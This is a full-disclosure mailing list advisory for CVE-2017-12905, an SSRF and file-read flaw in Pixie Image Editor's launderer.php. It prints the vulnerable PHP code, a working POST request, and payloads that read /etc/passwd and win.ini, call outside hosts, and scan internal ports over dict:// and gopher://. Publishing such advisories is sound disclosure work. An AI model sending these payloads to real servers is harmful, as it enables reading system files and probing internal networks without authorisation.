full-disclosure - [FD] Pixie image Editor SSRF vulnerability for CVE-2017-12905

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Date: Wed, 20 Sep 2017 18:24:26 +0800
From: "service@...maohui.net" <service@...maohui.net>
To: fulldisclosure <fulldisclosure@...lists.org>
Subject: [FD] Pixie image Editor SSRF vulnerability for CVE-2017-12905

Pixie image Editor SSRF vulnerability for CVE-2017-12905

title: Pixie image Editor SSRF vulnerability for CVE-2017-12905

Date: 20/09/2017

Vulnerability Type： SSRF(Server Side Request Forgery)

Vendor of Product： vebto（vebto.com）

Attack Type： Remote

Impact： Importent

Author：BeiJing Baimaohui technology co., LTD.

Version： Pixie Image Editor 1.4 and 1.7

CVE-ID : CVE-2017-12905

==========Detail==========

I found "Pixie Image Editor" a vulnerability，this vulnerability allow remote attacks to arbitrary files read，scan network port，information detection,attack internal network vulnerable’s server，may even cause a remote command 
execution.

In the `Launderer.php` file did not send to the POST of the url parameter to filter is introduced into the curl_exec or file_get_contents, resulting in SSRF holes or arbitrary files read.

Flaws in the code：

      if (isset($_POST['url'])) {
     $url = $_POST['url'];
     $mime = pathinfo($url, PATHINFO_EXTENSION);

     if (function_exists('curl_version')) {
     $handle = curl_init();
     curl_setopt($handle, CURLOPT_URL, $url);
     curl_setopt($handle, CURLOPT_RETURNTRANSFER, 1);
     curl_setopt($handle, CURLOPT_SSL_VERIFYPEER, false);

     $data = curl_exec($handle);

     curl_close($handle);
     } else {
     $data = file_get_contents($url);
     }

     $imageData = base64_encode($data);
     $formatted = 'data: '.$mime.';base64,'.$imageData;

     echo $formatted;
    } 

I've been tested success of "Pixie Image Editor" 1.4 and 1.7 version.

==========Attack vector==========

     POST /pixie/launderer.php HTTP/1.1
     Host: 127.0.0.1:8989
     User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:54.0) Gecko/20100101 Firefox/54.0
     Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
     Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
     Accept-Encoding: gzip, deflate
     Content-Type: application/x-www-form-urlencoded
     Content-Length: 21
     Connection: close
     Upgrade-Insecure-Requests: 1

     url=file:///c:/windows/win.ini

![](./3333.jpg)

![](./4444.jpg)

modify the above url parameter，example，file:

request http protocol: url=http://123.test.clogs.ml

request https protocol: url=https://www.google.com

request ftp protocol: url=ftp://123.test.clogs.ml

file read：url=file:///etc/passwd or url=file:///c:/windows/win.ini

![](./1111.jpg)

![](./2222.jpg)

If the curl correlation function is available,then use gopher、tftp、http、https、dict、ldap、file、imap、pop3、smtp、telnet protocols method，if not then only use http、https、ftp protocol

scan prot,example: url=dict://127.0.0.1:3306 
use gopher protocol: url=gopher://127.0.0.1:3306 

this vulnerability  trigger need allow_url_fopen option is enable in php.ini，allow_url_fopen option defualt is enable.

==========Timeline==========

2017-08-17  Found Pixie editor's vulnerability.

2017-08-18  Submit vulnerability information to Vendor.

2017-08-18  Submit CVE-ID request

2017-09-20  Vendor no response, Public vulnerability information

Best wishes!

BeiJing Baimaohui technology co., LTD.

http://www.baimaohui.net & https://www.fofa.so

service@...maohui.net

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